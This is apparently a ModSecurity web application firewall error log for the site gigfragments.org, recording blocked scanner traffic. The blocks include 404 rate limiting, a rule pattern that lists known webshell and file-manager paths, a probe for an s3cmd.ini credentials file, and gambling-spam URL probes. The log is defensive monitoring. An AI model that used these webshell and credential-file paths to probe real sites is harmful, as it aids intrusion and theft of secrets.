[Wed May 20 04:35:46.014087 2026] [:error] [pid 59349:tid 59365] [client 20.104.227.76:4761] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca4.php"] [unique_id "agzJojvvxTUy-ppKSZV9gAAAAM4"]
[Wed May 20 04:35:46.538793 2026] [:error] [pid 59244:tid 59268] [client 20.104.227.76:4861] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca4.php"] [unique_id "agzJorxU0SdQQE7pLs2siwAAAA8"]
[Wed May 20 04:35:46.985429 2026] [:error] [pid 59244:tid 59267] [client 20.104.227.76:4823] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca4.php"] [unique_id "agzJorxU0SdQQE7pLs2sjAAAAA4"]
[Wed May 20 04:35:47.496817 2026] [:error] [pid 59246:tid 59318] [client 20.104.227.76:17389] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/index.php"] [unique_id "agzJo2XuF32eb0pGiHwPzQAAAIs"]
[Wed May 20 04:35:47.979140 2026] [:error] [pid 59246:tid 59317] [client 20.104.227.76:15124] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/index.php"] [unique_id "agzJo2XuF32eb0pGiHwPzgAAAIo"]
[Wed May 20 04:35:48.437647 2026] [:error] [pid 59349:tid 59364] [client 20.104.227.76:4739] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/index.php"] [unique_id "agzJpDvvxTUy-ppKSZV9hQAAAM0"]
[Wed May 20 04:35:48.944668 2026] [:error] [pid 59244:tid 59275] [client 20.104.227.76:17353] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/index.php"] [unique_id "agzJpLxU0SdQQE7pLs2sjQAAABY"]
[Wed May 20 04:35:50.578402 2026] [:error] [pid 59244:tid 59277] [client 20.104.227.76:15110] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-info.php"] [unique_id "agzJprxU0SdQQE7pLs2sjgAAABg"]
[Wed May 20 04:35:51.692490 2026] [:error] [pid 59349:tid 59370] [client 20.104.227.76:4805] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-info.php"] [unique_id "agzJpzvvxTUy-ppKSZV9iQAAANM"]
[Wed May 20 04:35:52.183486 2026] [:error] [pid 59349:tid 59351] [client 20.104.227.76:17247] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-info.php"] [unique_id "agzJqDvvxTUy-ppKSZV9igAAAMA"]
[Wed May 20 04:35:52.868973 2026] [:error] [pid 59349:tid 59355] [client 20.104.227.76:4837] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-info.php"] [unique_id "agzJqDvvxTUy-ppKSZV9jAAAAMQ"]
[Wed May 20 04:35:53.500439 2026] [:error] [pid 59245:tid 59281] [client 20.104.227.76:4741] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "agzJqaOutR70QIZRVkTNIQAAAEE"]
[Wed May 20 04:35:54.010873 2026] [:error] [pid 59246:tid 59322] [client 20.104.227.76:15144] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "agzJqmXuF32eb0pGiHwP1QAAAI8"]
[Wed May 20 04:35:54.532573 2026] [:error] [pid 59349:tid 59366] [client 20.104.227.76:4781] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "agzJqjvvxTUy-ppKSZV9kAAAAM8"]
[Wed May 20 04:35:55.004427 2026] [:error] [pid 59349:tid 59374] [client 20.104.227.76:14349] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "agzJqzvvxTUy-ppKSZV9kQAAANc"]
[Wed May 20 04:35:55.477956 2026] [:error] [pid 59245:tid 59303] [client 20.104.227.76:15195] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "agzJq6OutR70QIZRVkTNIwAAAFc"]
[Wed May 20 04:35:56.097087 2026] [:error] [pid 59349:tid 59368] [client 20.104.227.76:15112] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "agzJrDvvxTUy-ppKSZV9lAAAANE"]
[Wed May 20 04:35:56.633487 2026] [:error] [pid 59245:tid 59302] [client 20.104.227.76:17325] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "agzJrKOutR70QIZRVkTNJgAAAFY"]
[Wed May 20 04:35:57.144974 2026] [:error] [pid 59245:tid 59287] [client 20.104.227.76:14444] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "agzJraOutR70QIZRVkTNKAAAAEc"]
[Wed May 20 04:35:57.570347 2026] [:error] [pid 59245:tid 59282] [client 20.104.227.76:14373] [client 20.104.227.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "agzJraOutR70QIZRVkTNKQAAAEI"]
[Wed May 20 04:35:58.043302 2026] [:error] [pid 36145:tid 36150] [client 20.104.227.76:17392] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.ph"] [unique_id "agzJrqtS18KtvF2Vagss5wAAAQI"]
[Wed May 20 04:35:58.515772 2026] [:error] [pid 59245:tid 59283] [client 20.104.227.76:4748] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.ph"] [unique_id "agzJrqOutR70QIZRVkTNKwAAAEM"]
[Wed May 20 04:35:58.941619 2026] [:error] [pid 36145:tid 36153] [client 20.104.227.76:17395] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.ph"] [unique_id "agzJrqtS18KtvF2Vagss6QAAAQU"]
[Wed May 20 04:35:59.535852 2026] [:error] [pid 36145:tid 36162] [client 20.104.227.76:15198] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.ph"] [unique_id "agzJr6tS18KtvF2Vagss6gAAAQ4"]
[Wed May 20 05:39:32.894397 2026] [:error] [pid 59244:tid 59261] [client 49.51.203.164:49238] [client 49.51.203.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agzYlLxU0SdQQE7pLs218QAAAAg"]
[Wed May 20 06:28:37.540795 2026] [:error] [pid 57835:tid 57918] [client 43.156.127.60:51216] [client 43.156.127.60] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agzkFWYoVRVVHvoOYbpEvgAAAsA"]
[Wed May 20 06:55:11.563079 2026] [:error] [pid 59245:tid 59298] [client 65.111.23.181:42815] [client 65.111.23.181] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.gigfragments.org|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.gigfragments.org"] [uri "/s3cmd.ini"] [unique_id "agzqT6OutR70QIZRVkTZJwAAAFI"]
[Wed May 20 09:33:07.631547 2026] [:error] [pid 41279:tid 41348] [client 152.53.187.237:37344] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ag0PU7EFyfaehGZbt4xFuwAAAMw"]
[Wed May 20 09:33:09.483374 2026] [:error] [pid 41279:tid 41355] [client 152.53.187.237:36384] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ag0PVbEFyfaehGZbt4xFvAAAANM"]
[Wed May 20 09:33:11.487536 2026] [:error] [pid 41278:tid 41326] [client 152.53.187.237:55426] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "ag0PV_WiNKASEfiGdwZy-AAAAFE"]
[Wed May 20 09:33:13.528653 2026] [:error] [pid 41278:tid 41320] [client 152.53.187.237:55428] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "ag0PWfWiNKASEfiGdwZzAAAAAEs"]
[Wed May 20 09:33:15.477197 2026] [:error] [pid 41364:tid 41385] [client 152.53.187.237:55432] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "ag0PWxKTmyvxtNXrN-hLTgAAAJM"]
[Wed May 20 09:33:17.410199 2026] [:error] [pid 44059:tid 44079] [client 152.53.187.237:55448] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "ag0PXRfFs-oSOOcyjyxolgAAARI"]
[Wed May 20 09:33:26.737106 2026] [:error] [pid 41278:tid 41315] [client 152.53.187.237:48448] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "ag0PZvWiNKASEfiGdwZzGgAAAEY"]
[Wed May 20 09:33:28.718090 2026] [:error] [pid 44059:tid 44063] [client 152.53.187.237:48450] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "ag0PaBfFs-oSOOcyjyxovwAAAQI"]
[Wed May 20 09:33:30.646692 2026] [:error] [pid 41278:tid 41330] [client 152.53.187.237:50276] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "ag0PavWiNKASEfiGdwZzHgAAAFU"]
[Wed May 20 09:33:32.723918 2026] [:error] [pid 44059:tid 44062] [client 152.53.187.237:50278] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "ag0PbBfFs-oSOOcyjyxo0AAAAQE"]
[Wed May 20 09:33:34.878095 2026] [:error] [pid 44059:tid 44078] [client 152.53.187.237:50290] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "ag0PbhfFs-oSOOcyjyxo3AAAARE"]
[Wed May 20 09:33:37.021429 2026] [:error] [pid 41277:tid 41285] [client 152.53.187.237:50298] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "ag0PcbTTCltJmboB5ufGjwAAAAM"]
[Wed May 20 09:33:38.998296 2026] [:error] [pid 41278:tid 41314] [client 152.53.187.237:50314] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "ag0PcvWiNKASEfiGdwZzHwAAAEU"]
[Wed May 20 09:33:41.086101 2026] [:error] [pid 41364:tid 41367] [client 152.53.187.237:40298] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "ag0PdRKTmyvxtNXrN-hLWgAAAIE"]
[Wed May 20 09:33:55.104181 2026] [:error] [pid 41364:tid 41377] [client 152.53.187.237:46342] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "ag0PgxKTmyvxtNXrN-hLZgAAAIs"]
[Wed May 20 09:33:57.033280 2026] [:error] [pid 41364:tid 41372] [client 152.53.187.237:46358] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "ag0PhRKTmyvxtNXrN-hLagAAAIY"]
[Wed May 20 09:33:58.972521 2026] [:error] [pid 44059:tid 44083] [client 152.53.187.237:46360] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "ag0PhhfFs-oSOOcyjyxpNwAAARY"]
[Wed May 20 09:34:00.966970 2026] [:error] [pid 41277:tid 41282] [client 152.53.187.237:46970] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "ag0PiLTTCltJmboB5ufGpQAAAAA"]
[Wed May 20 09:34:03.069006 2026] [:error] [pid 44059:tid 44066] [client 152.53.187.237:46986] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "ag0PixfFs-oSOOcyjyxpSAAAAQU"]
[Wed May 20 09:34:39.928135 2026] [:error] [pid 44059:tid 44061] [client 152.53.187.237:46990] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ag0PrxfFs-oSOOcyjyxp0QAAAQA"]
[Wed May 20 09:34:44.393423 2026] [:error] [pid 41364:tid 41371] [client 152.53.187.237:36670] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ag0PtBKTmyvxtNXrN-hLkwAAAIU"]
[Wed May 20 09:34:46.598120 2026] [:error] [pid 44059:tid 44062] [client 152.53.187.237:36680] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ag0PthfFs-oSOOcyjyxp6AAAAQE"]
[Wed May 20 09:34:48.609582 2026] [:error] [pid 44059:tid 44071] [client 152.53.187.237:36684] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ag0PuBfFs-oSOOcyjyxp6QAAAQo"]
[Wed May 20 09:34:50.665741 2026] [:error] [pid 41364:tid 41369] [client 152.53.187.237:59592] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ag0PuhKTmyvxtNXrN-hLmAAAAIM"]
[Wed May 20 09:34:52.611505 2026] [:error] [pid 44059:tid 44069] [client 152.53.187.237:59604] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ag0PvBfFs-oSOOcyjyxp9AAAAQg"]
[Wed May 20 09:34:54.760900 2026] [:error] [pid 41277:tid 41286] [client 152.53.187.237:59614] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "ag0PvrTTCltJmboB5ufGwgAAAAQ"]
[Wed May 20 09:34:56.812535 2026] [:error] [pid 44059:tid 44076] [client 152.53.187.237:59624] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "ag0PwBfFs-oSOOcyjyxp-QAAAQ8"]
[Wed May 20 09:34:58.928031 2026] [:error] [pid 41277:tid 41299] [client 152.53.187.237:59638] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "ag0PwrTTCltJmboB5ufGwwAAABE"]
